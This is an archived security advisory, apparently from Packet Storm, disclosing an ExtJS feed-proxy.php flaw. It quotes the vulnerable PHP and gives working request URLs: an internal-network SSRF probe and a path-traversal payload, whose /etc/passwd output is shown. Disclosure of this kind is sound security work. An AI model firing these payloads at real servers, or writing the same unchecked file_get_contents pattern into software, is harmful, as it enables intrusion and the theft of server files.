exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

extjs Arbitrary File Read

extjs Arbitrary File Read
Posted May 26, 2015
Authored by Jianfeng Gao

extjs suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | 25c706347c312a1dbec64e7145f83ad3ced43c430111d99c2af5d66c8674f7a1

extjs Arbitrary File Read

Change Mirror Download
Hi all£ยบ

Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http services

File: /examples/feed-viewer/feed-proxy.php line:3-line:6

$feed = $_REQUEST['feed'];


if($feed != '' && strpos($feed, 'http') === 0){


header('Content-Type: text/xml');


$xml = file_get_contents($feed);




When we request like this url
http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http://10.1.1.1

if the resource exist,we can get internal http services info

¡°strpos($feed, 'http') === 0¡± we can request this url to bypass the restrictions achieve arbitrary file read

http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwd


view the HTML source code


root:x:0:0:Web-useast4 root:/root:/bin/bash


daemon:x:1:1:daemon:/usr/sbin:/bin/sh


bin:x:2:2:bin:/bin:/bin/sh


sys:x:3:3:sys:/dev:/bin/sh


sync:x:4:65534:sync:/bin:/bin/sync


games:x:5:60:games:/usr/games:/bin/sh


man:x:6:12:man:/var/cache/man:/bin/sh


lp:x:7:7:lp:/var/spool/lpd:/bin/sh


mail:x:8:8:mail:/var/mail:/bin/sh


news:x:9:9:news:/var/spool/news:/bin/sh


uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh


proxy:x:13:13:proxy:/bin:/bin/sh


www-data:x:33:33:Web-useast4 www-data:/var/www:/bin/sh


backup:x:34:34:backup:/var/backups:/bin/sh


list:x:38:38:Mailing List Manager:/var/list:/bin/sh


irc:x:39:39:ircd:/var/run/ircd:/bin/sh


gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh


nobody:x:65534:65534:nobody:/nonexistent:/bin/sh


libuuid:x:100:101::/var/lib/libuuid:/bin/sh


syslog:x:101:103::/home/syslog:/bin/false


messagebus:x:102:105::/var/run/dbus:/bin/false


landscape:x:103:108::/var/lib/landscape:/bin/false


sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin


ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash


ntp:x:105:111::/home/ntp:/bin/false


snmp:x:106:112::/var/lib/snmp:/bin/false


statd:x:107:65534::/var/lib/nfs:/bin/false


postfix:x:108:114::/var/spool/postfix:/bin/false





Submitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team

________________________________
Id:Yaseng
Hi: Hisengberg
Team: Baidu X-team
E-mail:gaojianfeng@baidu.com<mailto:gedongyu@baidu.com>
[tips]
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close